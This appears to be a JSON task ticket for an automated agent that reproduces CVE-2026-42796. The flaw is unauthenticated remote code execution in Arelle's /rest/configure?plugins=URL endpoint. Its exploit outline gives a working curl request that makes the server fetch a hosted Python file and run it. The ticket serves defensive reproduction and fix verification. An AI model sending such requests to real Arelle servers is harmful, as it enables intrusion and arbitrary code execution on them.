{
  "ticket_id": "CVE-2026-42796",
  "code_root": "external/arelle",
  "source": {
    "type": "cve",
    "cve_id": "CVE-2026-42796",
    "advisory_id": null,
    "advisory_url": "https://github.com/Arelle/Arelle/pull/2320",
    "vendor": "Arelle",
    "product": "arelle",
    "repo": "https://github.com/Arelle/Arelle"
  },
  "facts": {
    "cve_id": "CVE-2026-42796",
    "issue_summary": "Arelle's built-in web server exposes a /rest/configure?plugins=URL endpoint that forwards the attacker-supplied URL to the plugin manager. The plugin manager downloads the file and loads it as a Python plugin in-process, with no authentication and no allowlist on the URL scheme/origin. Any attacker who can reach the web server can run arbitrary Python code in the Arelle process.",
    "vulnerability_type": "Code Injection / Unauthenticated Remote Code Execution",
    "suspected_cwe": ["CWE-94"],
    "affected_versions": "< 2.39.10",
    "fixed_versions": ["2.39.10"],
    "reproduce_version": "2.39.9",
    "verify_fixed_version": "2.39.10",
    "repo_url": "https://github.com/Arelle/Arelle.git",
    "code_root": "external/arelle",
    "ecosystem": "pypi",
    "package": "arelle",
    "affected_endpoint": "/rest/configure?plugins=URL",
    "install_recipe": "In a clean Python venv run `pip install arelle==2.39.9` (vulnerable) or `pip install arelle==2.39.10` (fixed). The published PyPI wheel is the canonical artifact; release tags 2.39.9 / 2.39.10 on the GitHub repo are equivalent.",
    "attacker_access": "anonymous / unauthenticated — only network reachability to the Arelle web server is required",
    "primary_entry_point": "HTTP GET /rest/configure?plugins=<attacker-controlled URL> on the Arelle web server",
    "exploit_outline": "Start the Arelle web server with `arelle --webserver localhost:8080`. Host a tiny Python file at `http://127.0.0.1:9090/x.py` whose top level writes a sentinel file (e.g. `/tmp/pwned`). Send `curl \"http://127.0.0.1:8080/rest/configure?plugins=http://127.0.0.1:9090/x.py\"`.",
    "vulnerable_indicator": "Arelle fetches and loads x.py as a plugin, executing its top-level code; sentinel file `/tmp/pwned` is created in the Arelle process.",
    "fixed_indicator": "Arelle 2.39.10 rejects the request; no plugin is downloaded or executed; sentinel file is not created.",
    "reproduction_requirements": "Python 3 with the arelle package at the specified version, plus a local HTTP server (e.g. `python -m http.server`) to host the attacker plugin file. Two local ports are needed (Arelle web server + plugin file server). No database, browser, or external network access required.",
    "notes": "The advisory is tracked via Arelle PR #2320 and release tag 2.39.10; no GHSA is currently assigned. The Pruva repro agent will locate the exact fix commit in the 2.39.9 -> 2.39.10 history."
  }
}
